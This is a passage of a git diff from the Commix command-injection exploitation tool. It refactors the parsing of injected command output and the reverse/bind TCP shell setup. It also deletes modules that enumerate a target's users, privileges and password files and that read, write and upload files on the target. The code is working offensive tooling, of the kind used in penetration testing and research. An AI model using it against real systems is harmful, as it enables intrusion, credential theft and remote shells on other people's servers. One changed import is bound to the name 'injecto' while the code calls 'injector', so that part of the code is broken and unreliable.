html_data.replace("\n",settings.SINGLE_WHITESPACE) + # cleanup string / unescape html to string + html_data = _urllib.parse.unquote(html_data) + html_data = unescape(html_data) + # Replace non-ASCII characters with a single space + re.sub(r"[^\x00-\x7f]",r" ", html_data) + for end_line in settings.END_LINES_LIST: + if end_line in html_data: + html_data = html_data.replace(end_line, settings.SINGLE_WHITESPACE) + break + shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + settings.SINGLE_WHITESPACE, html_data) + if not shell: + shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + "", html_data) + if not shell: + return shell + try: + if TAG in shell: + shell = re.findall(r"" + "(.*)" + TAG + TAG, shell) + # Clear junks + shell = [tags.replace(TAG + TAG , settings.SINGLE_WHITESPACE) for tags in shell] + shell = [backslash.replace(r"\/","/") for backslash in shell] + except UnicodeDecodeError: + pass + if settings.TARGET_OS == settings.OS.WINDOWS: + if menu.options.alter_shell: + shell = [right_space.rstrip() for right_space in shell] + shell = [left_space.lstrip() for left_space in shell] + if "<<<<" in shell[0]: + false_result = True + else: + if shell[0] == "%i" : + false_result = True + except AttributeError: + false_result = True + if false_result: + shell = "" + + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + new_line = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) + # Grab execution results + html_data = checks.page_encoding(response, action="decode") + html_data = re.sub("\n", new_line, html_data) + shell = re.findall(r"" + TAG + new_line + TAG + "(.*)" + TAG + new_line + TAG + "", html_data) + try: + if len(re.split(TAG + "(.*)" + TAG, shell[0])) != 0: + shell = re.findall(r"" + new_line + "(.*)" + new_line + "", \ + re.split(TAG + "(.*)" + TAG, \ + re.split(TAG + "(.*)" + TAG, shell[0])[0])[0]) + shell = shell[0].replace(new_line, "\n").rstrip().lstrip() + except IndexError: + pass + + else: + #Find the directory. + output = injection_output(url, OUTPUT_TEXTFILE, timesec, technique) + response = checks.get_response(output) + if type(response) is bool and response != True or response is None: + shell = "" + else: + try: + shell = checks.page_encoding(response, action="encode").rstrip().lstrip() + #shell = [newline.replace("\n",settings.SINGLE_WHITESPACE) for newline in shell] + if settings.TARGET_OS == settings.OS.WINDOWS: + shell = [newline.replace(settings.END_LINE.CR, "") for newline in shell] + #shell = [space.strip() for space in shell] + shell = [empty for empty in shell if empty] + except _urllib.error.HTTPError as e: + if str(e.getcode()) == settings.NOT_FOUND_ERROR: + shell = "" + + return shell +# eof \ No newline at end of file diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py index 1696cd0b20..81591e7060 100755 --- a/src/core/injections/controller/shell_options.py +++ b/src/core/injections/controller/shell_options.py @@ -25,9 +25,6 @@ from src.core.injections.controller import checks from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.results_based.techniques.classic import cb_injector -from src.core.injections.results_based.techniques.eval_based import eb_injector -from src.core.injections.semiblind.techniques.file_based import fb_injector """ Check for established connection @@ -50,29 +47,33 @@ def check_established_connection(): """ Execute the bind / reverse TCP shell """ -def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, payload, OUTPUT_TEXTFILE): - if settings.EVAL_BASED_STATE != False: +def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, timesec, payload, OUTPUT_TEXTFILE, technique): + + if technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injecto # Command execution results. start = time.time() - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) end = time.time() diff = end - start # Evaluate injection results. - shell = eb_injector.injection_results(response, TAG, cmd) + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) else: # Command execution results. start = time.time() - if settings.FILE_BASED_STATE == True: - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + response = injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) else: + from src.core.injections.results_based.techniques.classic import cb_injector as injector whitespace = settings.WHITESPACES[0] if whitespace == settings.SINGLE_WHITESPACE: whitespace = _urllib.parse.quote(whitespace) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) end = time.time() diff = end - start # Evaluate injection results. - shell = cb_injector.injection_results(response, TAG, cmd) + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) if settings.REVERSE_TCP and (int(diff) > 0 and int(diff) < 6): check_established_connection() @@ -87,14 +88,14 @@ def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_ """ Configure the bind TCP shell """ -def bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE): +def bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique): settings.BIND_TCP = True # Set up RHOST / LPORT for the bind TCP connection. bind_tcp.configure_bind_tcp(separator) if settings.BIND_TCP == False: if settings.REVERSE_TCP == True: os_shell_option = "reverse_tcp" - reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE) + reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique) return go_back, go_back_again while True: @@ -111,23 +112,23 @@ def bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_reques settings.BIND_TCP = False elif result == 3: settings.BIND_TCP = False - reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE) + reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique) return go_back, go_back_again # execute bind TCP shell - execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, payload, OUTPUT_TEXTFILE) + execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, timesec, payload, OUTPUT_TEXTFILE, technique) """ Configure the reverse TCP shell """ -def reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE): +def reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique): settings.REVERSE_TCP = True # Set up LHOST / LPORT for the reverse TCP connection. reverse_tcp.configure_reverse_tcp(separator) if settings.REVERSE_TCP == False: if settings.BIND_TCP == True: os_shell_option = "bind_tcp" - bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE) + bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique) return go_back, go_back_again while True: @@ -144,12 +145,12 @@ def reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_req settings.REVERSE_TCP = False elif result == 3: settings.REVERSE_TCP = False - bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE) + bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique) #reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again) return go_back, go_back_again # execute reverse TCP shell - execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, payload, OUTPUT_TEXTFILE) + execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, timesec, payload, OUTPUT_TEXTFILE, technique) """ Check commix shell options @@ -171,12 +172,12 @@ def check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_m # The "bind_tcp" option elif os_shell_option == "bind_tcp": - go_back, go_back_again = bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE) + go_back, go_back_again = bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique) return go_back, go_back_again # The "reverse_tcp" option elif os_shell_option == "reverse_tcp": - go_back, go_back_again = reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE) + go_back, go_back_again = reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique) return go_back, go_back_again # The "quit" / "exit" options diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py deleted file mode 100755 index b4f008996f..0000000000 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ /dev/null @@ -1,328 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" -import re -import sys -from src.thirdparty.six.moves import urllib as _urllib -from src.utils import logs -from src.utils import menu -from src.utils import common -from src.utils import settings -from src.utils import session_handler -from src.core.injections.controller import checks -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.requests import requests -from src.core.injections.results_based.techniques.classic import cb_injector - -""" -The "classic" technique on result-based OS command injection. -""" - -""" -Powershell's version number enumeration (for Windows OS) -""" -def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - _ = False - cmd = settings.PS_VERSION - if alter_shell: - cmd = checks.escape_single_quoted_cmd(cmd) - # Evaluate injection results. - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - ps_version = cb_injector.injection_results(response, TAG, cmd) - ps_version = "".join(str(p) for p in ps_version) - session_handler.store_cmd(url, cmd, ps_version, vuln_parameter) - else: - ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_ps_version(ps_version, filename, _) - -""" -Hostname enumeration -""" -def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - _ = False - if settings.TARGET_OS == settings.OS.WINDOWS: - settings.HOSTNAME = settings.WIN_HOSTNAME - cmd = settings.HOSTNAME - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_hostname(shell, filename, _) - -""" -Retrieve system information -""" -def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - _ = False - if settings.TARGET_OS == settings.OS.WINDOWS: - settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS - cmd = settings.RECOGNISE_OS - if settings.TARGET_OS == settings.OS.WINDOWS: - if alter_shell: - cmd = "cmd /c " + cmd - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - target_os = cb_injector.injection_results(response, TAG, cmd) - target_os = "".join(str(p) for p in target_os) - session_handler.store_cmd(url, cmd, target_os, vuln_parameter) - else: - target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if target_os: - target_os = "".join(str(p) for p in target_os) - if settings.TARGET_OS != settings.OS.WINDOWS: - cmd = settings.DISTRO_INFO - if settings.USE_BACKTICKS: - cmd = checks.remove_command_substitution(cmd) - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - distro_name = cb_injector.injection_results(response, TAG, cmd) - distro_name = "".join(str(p) for p in distro_name) - if len(distro_name) != 0: - target_os = target_os + settings.SINGLE_WHITESPACE + distro_name - session_handler.store_cmd(url, cmd, target_os, vuln_parameter) - else: - target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.WIN_RECOGNISE_HP - else: - cmd = settings.RECOGNISE_HP - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - target_arch = cb_injector.injection_results(response, TAG, cmd) - target_arch = "".join(str(p) for p in target_arch) - session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) - else: - target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - else: - target_arch = None - checks.print_os_info(target_os, target_arch, filename, _) - -""" -The current user enumeration -""" -def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - _ = False - if settings.TARGET_OS == settings.OS.WINDOWS: - settings.CURRENT_USER = settings.WIN_CURRENT_USER - cmd = settings.CURRENT_USER - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - cu_account = cb_injector.injection_results(response, TAG, cmd) - cu_account = "".join(str(p) for p in cu_account) - session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) - else: - cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_current_user(cu_account, filename, _) - -""" -Check if the Current user is privileged. -""" -def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - _ = False - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.IS_ADMIN - else: - cmd = settings.IS_ROOT - if settings.USE_BACKTICKS: - cmd = checks.remove_command_substitution(cmd) - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell).replace(settings.SINGLE_WHITESPACE, "", 1)[:-1] - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_current_user_privs(shell, filename, _) - -""" -System users enumeration -""" -def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - _ = False - cmd = settings.SYS_USERS - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.WIN_SYS_USERS - # cmd = cmd + settings.WIN_REPLACE_WHITESPACE - if alter_shell: - cmd = checks.escape_single_quoted_cmd(cmd) - cmd = checks.add_new_cmd(cmd) - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - sys_users = cb_injector.injection_results(response, TAG, cmd) - sys_users = "".join(str(p) for p in sys_users) - session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) - else: - sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell) - -""" -System passwords enumeration -""" -def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - _ = False - cmd = settings.SYS_PASSES - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - sys_passes = cb_injector.injection_results(response, TAG, cmd) - sys_passes = "".join(str(p) for p in sys_passes) - session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) - else: - sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_passes(sys_passes, filename, _, alter_shell) - -""" -Single os-shell execution -""" -def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - cmd = menu.options.os_cmd - checks.print_enumenation().print_single_os_cmd_msg(cmd) - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_single_os_cmd(cmd, shell, filename) - -""" -Check the defined options -""" -def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - # Check if PowerShell is enabled. - if not menu.options.ps_version and settings.TARGET_OS == settings.OS.WINDOWS: - checks.ps_check() - - if menu.options.ps_version and settings.PS_ENABLED == None: - if not checks.ps_incompatible_os(): - checks.print_enumenation().ps_version_msg() - powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.hostname: - checks.print_enumenation().hostname_msg() - hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.current_user: - checks.print_enumenation().current_user_msg() - current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.is_root or menu.options.is_admin: - checks.print_enumenation().check_privs_msg() - check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.sys_info: - checks.print_enumenation().os_info_msg() - system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.users: - checks.print_enumenation().print_users_msg() - system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.passwords: - if settings.TARGET_OS == settings.OS.WINDOWS: - check_option = "--passwords" - checks.unavailable_option(check_option) - else: - checks.print_enumenation().print_passes_msg() - system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - -""" -Check stored session -""" -def stored_session(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - # Check for any enumeration options. - new_line = True - if settings.ENUMERATION_DONE == True : - while True: - message = "Do you want to ignore stored session and enumerate again? [y/N] > " - enumerate_again = common.read_input(message, default="N", check_batch=True) - if enumerate_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - break - elif enumerate_again in settings.CHOICE_NO: - new_line = False - break - elif enumerate_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(enumerate_again) - pass - else: - if menu.enumeration_options(): - do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - -# eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py deleted file mode 100755 index c62597478e..0000000000 --- a/src/core/injections/results_based/techniques/classic/cb_file_access.py +++ /dev/null @@ -1,138 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import os -import sys -from src.utils import menu -from src.utils import common -from src.utils import settings -from src.utils import session_handler -from src.core.injections.controller import checks -from src.core.requests import requests -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.results_based.techniques.classic import cb_injector - -""" -The "classic" technique on result-based OS command injection. -""" - -""" -Write to a file on the target host. -""" -def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - file_to_write, dest_to_write, content = checks.check_file_to_write() - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = checks.change_dir(dest_to_write) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - cmd = checks.win_decode_b64_enc(fname, tmp_fname) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - cb_injector.injection_results(response, TAG, cmd) - cmd = checks.delete_tmp(tmp_fname) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - cb_injector.injection_results(response, TAG, cmd) - else: - cmd = checks.write_content(content, dest_to_write) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - cmd = checks.check_file(dest_to_write) - if settings.USE_BACKTICKS: - cmd = checks.remove_command_substitution(cmd) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - checks.file_write_status(shell, dest_to_write) - -""" -Upload a file on the target host. -""" -def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - cmd, dest_to_upload = checks.check_file_to_upload() - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - cmd = checks.check_file(dest_to_upload) - if settings.USE_BACKTICKS: - cmd = checks.remove_command_substitution(cmd) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - checks.file_upload_status(shell, dest_to_upload) - -""" -Read a file from the target host. -""" -def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - cmd, file_to_read = checks.file_content_to_read() - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.file_read_status(shell, file_to_read, filename) - -""" -Check the defined options -""" -def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if menu.options.file_write: - file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.FILE_ACCESS_DONE = True - - if menu.options.file_upload: - if settings.TARGET_OS == settings.OS.WINDOWS: - check_option = "--file-upload" - checks.unavailable_option(check_option) - else: - file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.FILE_ACCESS_DONE = True - - if menu.options.file_read: - file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.FILE_ACCESS_DONE = True - -""" -Check stored session -""" -def stored_session(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if settings.FILE_ACCESS_DONE == True : - while True: - message = "Do you want to ignore stored session and access files again? [y/N] > " - file_access_again = common.read_input(message, default="N", check_batch=True) - if file_access_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - break - elif file_access_again in settings.CHOICE_NO: - break - elif file_access_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(file_access_again) - pass - else: - if menu.file_access_options(): - do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - -# eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 955b5147fd..875464f91d 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -12,36 +12,8 @@ For more see the file 'readme/COPYING' for copying permission. """ -import re -import os -import sys -import time -import string -import random -from src.thirdparty.six.moves import input as _input -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.six.moves import html_parser as _html_parser -from src.utils import menu -from src.utils import logs -from src.utils import settings -from src.utils import common -from src.utils import session_handler -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.shells import reverse_tcp -from src.core.requests import headers -from src.core.requests import requests -from 